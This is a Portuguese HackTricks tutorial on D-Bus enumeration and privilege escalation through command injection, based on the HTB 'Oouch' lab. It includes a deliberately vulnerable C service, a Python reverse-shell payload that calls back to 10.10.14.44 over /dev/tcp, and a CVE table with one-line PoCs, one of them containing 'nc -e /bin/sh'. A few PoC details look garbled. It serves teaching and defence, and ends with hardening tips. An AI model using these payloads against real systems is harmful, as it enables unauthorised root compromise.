mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
507 lines
27 KiB
Markdown
507 lines
27 KiB
Markdown
# D-Bus Enumeration & Command Injection Privilege Escalation
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## **Enumeração GUI**
|
||
|
||
O D-Bus é utilizado como o mediador de comunicações entre processos (IPC) em ambientes de desktop Ubuntu. No Ubuntu, a operação simultânea de vários barramentos de mensagens é observada: o barramento do sistema, utilizado principalmente por **serviços privilegiados para expor serviços relevantes em todo o sistema**, e um barramento de sessão para cada usuário logado, expondo serviços relevantes apenas para aquele usuário específico. O foco aqui está principalmente no barramento do sistema devido à sua associação com serviços que operam com privilégios mais altos (por exemplo, root), já que nosso objetivo é elevar privilégios. É notado que a arquitetura do D-Bus emprega um 'roteador' por barramento de sessão, que é responsável por redirecionar mensagens de clientes para os serviços apropriados com base no endereço especificado pelos clientes para o serviço com o qual desejam se comunicar.
|
||
|
||
Os serviços no D-Bus são definidos pelos **objetos** e **interfaces** que expõem. Objetos podem ser comparados a instâncias de classe em linguagens OOP padrão, com cada instância identificada de forma única por um **caminho de objeto**. Este caminho, semelhante a um caminho de sistema de arquivos, identifica de forma única cada objeto exposto pelo serviço. Uma interface chave para fins de pesquisa é a interface **org.freedesktop.DBus.Introspectable**, que apresenta um único método, Introspect. Este método retorna uma representação XML dos métodos, sinais e propriedades suportados pelo objeto, com foco aqui em métodos enquanto omite propriedades e sinais.
|
||
|
||
Para comunicação com a interface D-Bus, duas ferramentas foram empregadas: uma ferramenta CLI chamada **gdbus** para fácil invocação de métodos expostos pelo D-Bus em scripts, e [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), uma ferramenta GUI baseada em Python projetada para enumerar os serviços disponíveis em cada barramento e exibir os objetos contidos em cada serviço.
|
||
```bash
|
||
sudo apt-get install d-feet
|
||
```
|
||

|
||
|
||

|
||
|
||
Na primeira imagem, os serviços registrados com o barramento de sistema D-Bus são mostrados, com **org.debin.apt** especificamente destacado após selecionar o botão System Bus. O D-Feet consulta este serviço em busca de objetos, exibindo interfaces, métodos, propriedades e sinais para os objetos escolhidos, como visto na segunda imagem. A assinatura de cada método também é detalhada.
|
||
|
||
Uma característica notável é a exibição do **ID do processo (pid)** e da **linha de comando** do serviço, útil para confirmar se o serviço está sendo executado com privilégios elevados, importante para a relevância da pesquisa.
|
||
|
||
**O D-Feet também permite a invocação de métodos**: os usuários podem inserir expressões Python como parâmetros, que o D-Feet converte em tipos D-Bus antes de passar para o serviço.
|
||
|
||
No entanto, observe que **alguns métodos requerem autenticação** antes de permitir que os invoquemos. Ignoraremos esses métodos, uma vez que nosso objetivo é elevar nossos privilégios sem credenciais desde o início.
|
||
|
||
Além disso, note que alguns dos serviços consultam outro serviço D-Bus chamado org.freedeskto.PolicyKit1 para verificar se um usuário deve ser autorizado a realizar certas ações ou não.
|
||
|
||
## **Enumeração de Linha de Comando**
|
||
|
||
### Listar Objetos de Serviço
|
||
|
||
É possível listar interfaces D-Bus abertas com:
|
||
```bash
|
||
busctl list #List D-Bus interfaces
|
||
|
||
NAME PID PROCESS USER CONNECTION UNIT SE
|
||
:1.0 1 systemd root :1.0 init.scope -
|
||
:1.1345 12817 busctl qtc :1.1345 session-729.scope 72
|
||
:1.2 1576 systemd-timesyn systemd-timesync :1.2 systemd-timesyncd.service -
|
||
:1.3 2609 dbus-server root :1.3 dbus-server.service -
|
||
:1.4 2606 wpa_supplicant root :1.4 wpa_supplicant.service -
|
||
:1.6 2612 systemd-logind root :1.6 systemd-logind.service -
|
||
:1.8 3087 unattended-upgr root :1.8 unattended-upgrades.serv… -
|
||
:1.820 6583 systemd qtc :1.820 user@1000.service -
|
||
com.ubuntu.SoftwareProperties - - - (activatable) - -
|
||
fi.epitest.hostap.WPASupplicant 2606 wpa_supplicant root :1.4 wpa_supplicant.service -
|
||
fi.w1.wpa_supplicant1 2606 wpa_supplicant root :1.4 wpa_supplicant.service -
|
||
htb.oouch.Block 2609 dbus-server root :1.3 dbus-server.service -
|
||
org.bluez - - - (activatable) - -
|
||
org.freedesktop.DBus 1 systemd root - init.scope -
|
||
org.freedesktop.PackageKit - - - (activatable) - -
|
||
org.freedesktop.PolicyKit1 - - - (activatable) - -
|
||
org.freedesktop.hostname1 - - - (activatable) - -
|
||
org.freedesktop.locale1 - - - (activatable) - -
|
||
```
|
||
#### Conexões
|
||
|
||
[Do wikipedia:](https://en.wikipedia.org/wiki/D-Bus) Quando um processo estabelece uma conexão com um barramento, o barramento atribui à conexão um nome de barramento especial chamado _nome de conexão único_. Nomes de barramento desse tipo são imutáveis—é garantido que não mudarão enquanto a conexão existir—e, mais importante, não podem ser reutilizados durante a vida útil do barramento. Isso significa que nenhuma outra conexão a esse barramento terá um nome de conexão único atribuído, mesmo que o mesmo processo feche a conexão com o barramento e crie uma nova. Nomes de conexão únicos são facilmente reconhecíveis porque começam com o—de outra forma proibido—caractere dois-pontos.
|
||
|
||
### Informações do Objeto de Serviço
|
||
|
||
Então, você pode obter algumas informações sobre a interface com:
|
||
```bash
|
||
busctl status htb.oouch.Block #Get info of "htb.oouch.Block" interface
|
||
|
||
PID=2609
|
||
PPID=1
|
||
TTY=n/a
|
||
UID=0
|
||
EUID=0
|
||
SUID=0
|
||
FSUID=0
|
||
GID=0
|
||
EGID=0
|
||
SGID=0
|
||
FSGID=0
|
||
SupplementaryGIDs=
|
||
Comm=dbus-server
|
||
CommandLine=/root/dbus-server
|
||
Label=unconfined
|
||
CGroup=/system.slice/dbus-server.service
|
||
Unit=dbus-server.service
|
||
Slice=system.slice
|
||
UserUnit=n/a
|
||
UserSlice=n/a
|
||
Session=n/a
|
||
AuditLoginUID=n/a
|
||
AuditSessionID=n/a
|
||
UniqueName=:1.3
|
||
EffectiveCapabilities=cap_chown cap_dac_override cap_dac_read_search
|
||
cap_fowner cap_fsetid cap_kill cap_setgid
|
||
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
|
||
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
|
||
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
|
||
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
|
||
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
|
||
cap_mknod cap_lease cap_audit_write cap_audit_control
|
||
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
|
||
cap_wake_alarm cap_block_suspend cap_audit_read
|
||
PermittedCapabilities=cap_chown cap_dac_override cap_dac_read_search
|
||
cap_fowner cap_fsetid cap_kill cap_setgid
|
||
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
|
||
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
|
||
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
|
||
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
|
||
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
|
||
cap_mknod cap_lease cap_audit_write cap_audit_control
|
||
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
|
||
cap_wake_alarm cap_block_suspend cap_audit_read
|
||
InheritableCapabilities=
|
||
BoundingCapabilities=cap_chown cap_dac_override cap_dac_read_search
|
||
cap_fowner cap_fsetid cap_kill cap_setgid
|
||
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
|
||
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
|
||
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
|
||
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
|
||
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
|
||
cap_mknod cap_lease cap_audit_write cap_audit_control
|
||
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
|
||
cap_wake_alarm cap_block_suspend cap_audit_read
|
||
```
|
||
### List Interfaces of a Service Object
|
||
|
||
Você precisa ter permissões suficientes.
|
||
```bash
|
||
busctl tree htb.oouch.Block #Get Interfaces of the service object
|
||
|
||
└─/htb
|
||
└─/htb/oouch
|
||
└─/htb/oouch/Block
|
||
```
|
||
### Introspect Interface of a Service Object
|
||
|
||
Note como neste exemplo foi selecionada a última interface descoberta usando o parâmetro `tree` (_veja a seção anterior_):
|
||
```bash
|
||
busctl introspect htb.oouch.Block /htb/oouch/Block #Get methods of the interface
|
||
|
||
NAME TYPE SIGNATURE RESULT/VALUE FLAGS
|
||
htb.oouch.Block interface - - -
|
||
.Block method s s -
|
||
org.freedesktop.DBus.Introspectable interface - - -
|
||
.Introspect method - s -
|
||
org.freedesktop.DBus.Peer interface - - -
|
||
.GetMachineId method - s -
|
||
.Ping method - - -
|
||
org.freedesktop.DBus.Properties interface - - -
|
||
.Get method ss v -
|
||
.GetAll method s a{sv} -
|
||
.Set method ssv - -
|
||
.PropertiesChanged signal sa{sv}as - -
|
||
```
|
||
Note o método `.Block` da interface `htb.oouch.Block` (aquele que nos interessa). O "s" das outras colunas pode significar que está esperando uma string.
|
||
|
||
### Interface de Monitoramento/Captura
|
||
|
||
Com privilégios suficientes (apenas os privilégios `send_destination` e `receive_sender` não são suficientes) você pode **monitorar uma comunicação D-Bus**.
|
||
|
||
Para **monitorar** uma **comunicação** você precisará ser **root.** Se você ainda encontrar problemas sendo root, verifique [https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) e [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus)
|
||
|
||
> [!WARNING]
|
||
> Se você sabe como configurar um arquivo de configuração D-Bus para **permitir que usuários não root capturem** a comunicação, por favor **entre em contato comigo**!
|
||
|
||
Diferentes maneiras de monitorar:
|
||
```bash
|
||
sudo busctl monitor htb.oouch.Block #Monitor only specified
|
||
sudo busctl monitor #System level, even if this works you will only see messages you have permissions to see
|
||
sudo dbus-monitor --system #System level, even if this works you will only see messages you have permissions to see
|
||
```
|
||
No exemplo a seguir, a interface `htb.oouch.Block` é monitorada e **a mensagem "**_**lalalalal**_**" é enviada através de uma má comunicação**:
|
||
```bash
|
||
busctl monitor htb.oouch.Block
|
||
|
||
Monitoring bus message stream.
|
||
‣ Type=method_call Endian=l Flags=0 Version=1 Priority=0 Cookie=2
|
||
Sender=:1.1376 Destination=htb.oouch.Block Path=/htb/oouch/Block Interface=htb.oouch.Block Member=Block
|
||
UniqueName=:1.1376
|
||
MESSAGE "s" {
|
||
STRING "lalalalal";
|
||
};
|
||
|
||
‣ Type=method_return Endian=l Flags=1 Version=1 Priority=0 Cookie=16 ReplyCookie=2
|
||
Sender=:1.3 Destination=:1.1376
|
||
UniqueName=:1.3
|
||
MESSAGE "s" {
|
||
STRING "Carried out :D";
|
||
};
|
||
```
|
||
Você pode usar `capture` em vez de `monitor` para salvar os resultados em um arquivo pcap.
|
||
|
||
#### Filtrando todo o ruído <a href="#filtering_all_the_noise" id="filtering_all_the_noise"></a>
|
||
|
||
Se houver informações demais no barramento, passe uma regra de correspondência assim:
|
||
```bash
|
||
dbus-monitor "type=signal,sender='org.gnome.TypingMonitor',interface='org.gnome.TypingMonitor'"
|
||
```
|
||
Várias regras podem ser especificadas. Se uma mensagem corresponder a _qualquer_ uma das regras, a mensagem será impressa. Assim:
|
||
```bash
|
||
dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends"
|
||
```
|
||
|
||
```bash
|
||
dbus-monitor "type=method_call" "type=method_return" "type=error"
|
||
```
|
||
Veja a [documentação do D-Bus](http://dbus.freedesktop.org/doc/dbus-specification.html) para mais informações sobre a sintaxe da regra de correspondência.
|
||
|
||
### Mais
|
||
|
||
`busctl` tem ainda mais opções, [**encontre todas elas aqui**](https://www.freedesktop.org/software/systemd/man/busctl.html).
|
||
|
||
## **Cenário Vulnerável**
|
||
|
||
Como usuário **qtc dentro do host "oouch" do HTB**, você pode encontrar um **arquivo de configuração D-Bus inesperado** localizado em _/etc/dbus-1/system.d/htb.oouch.Block.conf_:
|
||
```xml
|
||
<?xml version="1.0" encoding="UTF-8"?> <!-- -*- XML -*- -->
|
||
|
||
<!DOCTYPE busconfig PUBLIC
|
||
"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN"
|
||
"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
|
||
|
||
<busconfig>
|
||
|
||
<policy user="root">
|
||
<allow own="htb.oouch.Block"/>
|
||
</policy>
|
||
|
||
<policy user="www-data">
|
||
<allow send_destination="htb.oouch.Block"/>
|
||
<allow receive_sender="htb.oouch.Block"/>
|
||
</policy>
|
||
|
||
</busconfig>
|
||
```
|
||
Nota da configuração anterior que **você precisará ser o usuário `root` ou `www-data` para enviar e receber informações** através desta comunicação D-BUS.
|
||
|
||
Como usuário **qtc** dentro do contêiner docker **aeb4525789d8**, você pode encontrar algum código relacionado ao dbus no arquivo _/code/oouch/routes.py._ Este é o código interessante:
|
||
```python
|
||
if primitive_xss.search(form.textfield.data):
|
||
bus = dbus.SystemBus()
|
||
block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
|
||
block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')
|
||
|
||
client_ip = request.environ.get('REMOTE_ADDR', request.remote_addr)
|
||
response = block_iface.Block(client_ip)
|
||
bus.close()
|
||
return render_template('hacker.html', title='Hacker')
|
||
```
|
||
Como você pode ver, está **conectando a uma interface D-Bus** e enviando para a **função "Block"** o "client_ip".
|
||
|
||
Do outro lado da conexão D-Bus, há um binário compilado em C em execução. Este código está **ouvindo** na conexão D-Bus **por endereços IP e chamando iptables via função `system`** para bloquear o endereço IP fornecido.\
|
||
**A chamada para `system` é vulnerável intencionalmente a injeção de comandos**, então um payload como o seguinte criará um shell reverso: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #`
|
||
|
||
### Exploit it
|
||
|
||
No final desta página, você pode encontrar o **código C completo da aplicação D-Bus**. Dentro dele, você pode encontrar entre as linhas 91-97 **como o `caminho do objeto D-Bus`** **e `nome da interface`** são **registrados**. Esta informação será necessária para enviar informações para a conexão D-Bus:
|
||
```c
|
||
/* Install the object */
|
||
r = sd_bus_add_object_vtable(bus,
|
||
&slot,
|
||
"/htb/oouch/Block", /* interface */
|
||
"htb.oouch.Block", /* service object */
|
||
block_vtable,
|
||
NULL);
|
||
```
|
||
Além disso, na linha 57 você pode encontrar que **o único método registrado** para esta comunicação D-Bus é chamado `Block`(_**É por isso que na seção seguinte os payloads serão enviados para o objeto de serviço `htb.oouch.Block`, a interface `/htb/oouch/Block` e o nome do método `Block`**_):
|
||
```c
|
||
SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
|
||
```
|
||
#### Python
|
||
|
||
O seguinte código python enviará a carga útil para a conexão D-Bus para o método `Block` via `block_iface.Block(runme)` (_observe que foi extraído do bloco de código anterior_):
|
||
```python
|
||
import dbus
|
||
bus = dbus.SystemBus()
|
||
block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
|
||
block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')
|
||
runme = ";bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #"
|
||
response = block_iface.Block(runme)
|
||
bus.close()
|
||
```
|
||
#### busctl e dbus-send
|
||
```bash
|
||
dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block string:';pring -c 1 10.10.14.44 #'
|
||
```
|
||
- `dbus-send` é uma ferramenta usada para enviar mensagens para o “Message Bus”
|
||
- Message Bus – Um software usado pelos sistemas para facilitar a comunicação entre aplicações. Está relacionado ao Message Queue (as mensagens são ordenadas em sequência), mas no Message Bus as mensagens são enviadas em um modelo de assinatura e também de forma muito rápida.
|
||
- A tag “-system” é usada para mencionar que é uma mensagem do sistema, não uma mensagem de sessão (por padrão).
|
||
- A tag “–print-reply” é usada para imprimir nossa mensagem de forma apropriada e receber quaisquer respostas em um formato legível por humanos.
|
||
- “–dest=Dbus-Interface-Block” O endereço da interface Dbus.
|
||
- “–string:” – Tipo de mensagem que gostaríamos de enviar para a interface. Existem vários formatos de envio de mensagens, como double, bytes, booleans, int, objpath. Dentre estes, o “object path” é útil quando queremos enviar um caminho de um arquivo para a interface Dbus. Podemos usar um arquivo especial (FIFO) neste caso para passar um comando para a interface em nome de um arquivo. “string:;” – Isso é para chamar o object path novamente onde colocamos o arquivo/comando de shell reverso FIFO.
|
||
|
||
_Observe que em `htb.oouch.Block.Block`, a primeira parte (`htb.oouch.Block`) refere-se ao objeto de serviço e a última parte (`.Block`) refere-se ao nome do método._
|
||
|
||
### C code
|
||
```c:d-bus_server.c
|
||
//sudo apt install pkgconf
|
||
//sudo apt install libsystemd-dev
|
||
//gcc d-bus_server.c -o dbus_server `pkg-config --cflags --libs libsystemd`
|
||
|
||
#include <stdio.h>
|
||
#include <stdlib.h>
|
||
#include <string.h>
|
||
#include <errno.h>
|
||
#include <unistd.h>
|
||
#include <systemd/sd-bus.h>
|
||
|
||
static int method_block(sd_bus_message *m, void *userdata, sd_bus_error *ret_error) {
|
||
char* host = NULL;
|
||
int r;
|
||
|
||
/* Read the parameters */
|
||
r = sd_bus_message_read(m, "s", &host);
|
||
if (r < 0) {
|
||
fprintf(stderr, "Failed to obtain hostname: %s\n", strerror(-r));
|
||
return r;
|
||
}
|
||
|
||
char command[] = "iptables -A PREROUTING -s %s -t mangle -j DROP";
|
||
|
||
int command_len = strlen(command);
|
||
int host_len = strlen(host);
|
||
|
||
char* command_buffer = (char *)malloc((host_len + command_len) * sizeof(char));
|
||
if(command_buffer == NULL) {
|
||
fprintf(stderr, "Failed to allocate memory\n");
|
||
return -1;
|
||
}
|
||
|
||
sprintf(command_buffer, command, host);
|
||
|
||
/* In the first implementation, we simply ran command using system(), since the expected DBus
|
||
* to be threading automatically. However, DBus does not thread and the application will hang
|
||
* forever if some user spawns a shell. Thefore we need to fork (easier than implementing real
|
||
* multithreading)
|
||
*/
|
||
int pid = fork();
|
||
|
||
if ( pid == 0 ) {
|
||
/* Here we are in the child process. We execute the command and eventually exit. */
|
||
system(command_buffer);
|
||
exit(0);
|
||
} else {
|
||
/* Here we are in the parent process or an error occured. We simply send a genric message.
|
||
* In the first implementation we returned separate error messages for success or failure.
|
||
* However, now we cannot wait for results of the system call. Therefore we simply return
|
||
* a generic. */
|
||
return sd_bus_reply_method_return(m, "s", "Carried out :D");
|
||
}
|
||
r = system(command_buffer);
|
||
}
|
||
|
||
|
||
/* The vtable of our little object, implements the net.poettering.Calculator interface */
|
||
static const sd_bus_vtable block_vtable[] = {
|
||
SD_BUS_VTABLE_START(0),
|
||
SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
|
||
SD_BUS_VTABLE_END
|
||
};
|
||
|
||
|
||
int main(int argc, char *argv[]) {
|
||
/*
|
||
* Main method, registeres the htb.oouch.Block service on the system dbus.
|
||
*
|
||
* Paramaters:
|
||
* argc (int) Number of arguments, not required
|
||
* argv[] (char**) Argument array, not required
|
||
*
|
||
* Returns:
|
||
* Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive
|
||
* as long as the user keeps it alive.
|
||
*/
|
||
|
||
|
||
/* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */
|
||
signal(SIGCHLD,SIG_IGN);
|
||
|
||
sd_bus_slot *slot = NULL;
|
||
sd_bus *bus = NULL;
|
||
int r;
|
||
|
||
/* First we need to connect to the system bus. */
|
||
r = sd_bus_open_system(&bus);
|
||
if (r < 0)
|
||
{
|
||
fprintf(stderr, "Failed to connect to system bus: %s\n", strerror(-r));
|
||
goto finish;
|
||
}
|
||
|
||
/* Install the object */
|
||
r = sd_bus_add_object_vtable(bus,
|
||
&slot,
|
||
"/htb/oouch/Block", /* interface */
|
||
"htb.oouch.Block", /* service object */
|
||
block_vtable,
|
||
NULL);
|
||
if (r < 0) {
|
||
fprintf(stderr, "Failed to install htb.oouch.Block: %s\n", strerror(-r));
|
||
goto finish;
|
||
}
|
||
|
||
/* Register the service name to find out object */
|
||
r = sd_bus_request_name(bus, "htb.oouch.Block", 0);
|
||
if (r < 0) {
|
||
fprintf(stderr, "Failed to acquire service name: %s\n", strerror(-r));
|
||
goto finish;
|
||
}
|
||
|
||
/* Infinite loop to process the client requests */
|
||
for (;;) {
|
||
/* Process requests */
|
||
r = sd_bus_process(bus, NULL);
|
||
if (r < 0) {
|
||
fprintf(stderr, "Failed to process bus: %s\n", strerror(-r));
|
||
goto finish;
|
||
}
|
||
if (r > 0) /* we processed a request, try to process another one, right-away */
|
||
continue;
|
||
|
||
/* Wait for the next request to process */
|
||
r = sd_bus_wait(bus, (uint64_t) -1);
|
||
if (r < 0) {
|
||
fprintf(stderr, "Failed to wait on bus: %s\n", strerror(-r));
|
||
goto finish;
|
||
}
|
||
}
|
||
|
||
finish:
|
||
sd_bus_slot_unref(slot);
|
||
sd_bus_unref(bus);
|
||
|
||
return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS;
|
||
}
|
||
```
|
||
## Auxiliares de Enumeração Automatizada (2023-2025)
|
||
|
||
A enumeração de uma grande superfície de ataque D-Bus manualmente com `busctl`/`gdbus` rapidamente se torna dolorosa. Duas pequenas utilidades FOSS lançadas nos últimos anos podem acelerar as coisas durante engajamentos de red-team ou CTF:
|
||
|
||
### dbusmap ("Nmap para D-Bus")
|
||
* Autor: @taviso – [https://github.com/taviso/dbusmap](https://github.com/taviso/dbusmap)
|
||
* Escrito em C; único binário estático (<50 kB) que percorre cada caminho de objeto, puxa o XML `Introspect` e o mapeia para o PID/UID proprietário.
|
||
* Flags úteis:
|
||
```bash
|
||
# Lista todos os serviços no barramento *sistema* e despeja todos os métodos chamáveis
|
||
sudo dbus-map --dump-methods
|
||
|
||
# Prova ativamente métodos/propriedades que você pode acessar sem prompts do Polkit
|
||
sudo dbus-map --enable-probes --null-agent --dump-methods --dump-properties
|
||
```
|
||
* A ferramenta marca nomes bem conhecidos não protegidos com `!`, revelando instantaneamente serviços que você pode *possuir* (assumir) ou chamadas de método que são acessíveis a partir de um shell não privilegiado.
|
||
|
||
### uptux.py
|
||
* Autor: @initstring – [https://github.com/initstring/uptux](https://github.com/initstring/uptux)
|
||
* Script apenas em Python que procura por caminhos *graváveis* em unidades systemd **e** arquivos de política D-Bus excessivamente permissivos (por exemplo, `send_destination="*"`).
|
||
* Uso rápido:
|
||
```bash
|
||
python3 uptux.py -n # executa todas as verificações, mas não grava um arquivo de log
|
||
python3 uptux.py -d # habilita saída de depuração detalhada
|
||
```
|
||
* O módulo D-Bus pesquisa os diretórios abaixo e destaca qualquer serviço que pode ser falsificado ou sequestrado por um usuário normal:
|
||
* `/etc/dbus-1/system.d/` e `/usr/share/dbus-1/system.d/`
|
||
* `/etc/dbus-1/system-local.d/` (substituições do fornecedor)
|
||
|
||
---
|
||
|
||
## Bugs Notáveis de Escalação de Privilégios D-Bus (2024-2025)
|
||
|
||
Manter um olho em CVEs recentemente publicados ajuda a identificar padrões inseguros semelhantes em código personalizado. Os seguintes problemas locais de EoP de alto impacto decorrem todos da falta de autenticação/autorização no **barramento do sistema**:
|
||
|
||
| Ano | CVE | Componente | Causa Raiz | PoC em Uma Linha |
|
||
|------|-----|-----------|------------|---------------|
|
||
| 2024 | CVE-2024-45752 | `logiops` ≤ 0.3.4 (daemon HID da Logitech) | O serviço de sistema `logid` expõe uma interface `org.freedesktop.Logiopsd` sem restrições que permite que *qualquer* usuário mude perfis de dispositivo e injete comandos de shell arbitrários via strings de macro. | `gdbus call -y -d org.freedesktop.Logiopsd -o /org/freedesktop/Logiopsd -m org.freedesktop.Logiopsd.LoadConfig "/tmp/pwn.yml"` |
|
||
| 2025 | CVE-2025-23222 | Deepin `dde-api-proxy` ≤ 1.0.18 | Um proxy em execução como root encaminha nomes de barramento legados para serviços de backend **sem encaminhar o UID/Contexto Polkit do chamador**, então cada solicitação encaminhada é tratada como UID 0. | `gdbus call -y -d com.deepin.daemon.Grub2 -o /com/deepin/daemon/Grub2 -m com.deepin.daemon.Grub2.SetTimeout 1` |
|
||
| 2025 | CVE-2025-3931 | Red Hat Insights `yggdrasil` ≤ 0.4.6 | O método público `Dispatch` carece de quaisquer ACLs → o atacante pode ordenar o trabalhador do *gerenciador de pacotes* para instalar RPMs arbitrários. | `dbus-send --system --dest=com.redhat.yggdrasil /com/redhat/Dispatch com.redhat.yggdrasil.Dispatch string:'{"worker":"pkg","action":"install","pkg":"nc -e /bin/sh"}'` |
|
||
|
||
Padrões a notar:
|
||
1. O serviço é executado **como root no barramento do sistema**.
|
||
2. Nenhuma verificação do PolicyKit (ou é contornada por um proxy).
|
||
3. O método leva, em última instância, a `system()`/instalação de pacotes/reconfiguração de dispositivos → execução de código.
|
||
|
||
Use `dbusmap --enable-probes` ou `busctl call` manual para confirmar se um patch retrocede a lógica adequada de `polkit_authority_check_authorization()`.
|
||
|
||
---
|
||
|
||
## Ganhos Rápidos em Dureza & Detecção
|
||
|
||
* Procure por políticas graváveis para todos ou *send/receive*-abertas:
|
||
```bash
|
||
grep -R --color -nE '<allow (own|send_destination|receive_sender)="[^"]*"' /etc/dbus-1/system.d /usr/share/dbus-1/system.d
|
||
```
|
||
* Exija Polkit para métodos perigosos – até mesmo proxies *root* devem passar o PID do *chamador* para `polkit_authority_check_authorization_sync()` em vez do próprio.
|
||
* Reduza privilégios em auxiliares de longa duração (use `sd_pid_get_owner_uid()` para mudar namespaces após conectar-se ao barramento).
|
||
* Se você não puder remover um serviço, pelo menos *escopo* para um grupo Unix dedicado e restrinja o acesso em sua política XML.
|
||
* Blue-team: habilite a captura persistente do barramento do sistema com `busctl capture --output=/var/log/dbus_$(date +%F).pcap` e importe para o Wireshark para detecção de anomalias.
|
||
|
||
---
|
||
|
||
## Referências
|
||
|
||
- [https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/)
|
||
- [https://security.opensuse.org/2025/01/24/dde-api-proxy-privilege-escalation.html](https://security.opensuse.org/2025/01/24/dde-api-proxy-privilege-escalation.html)
|
||
|
||
|
||
- [https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|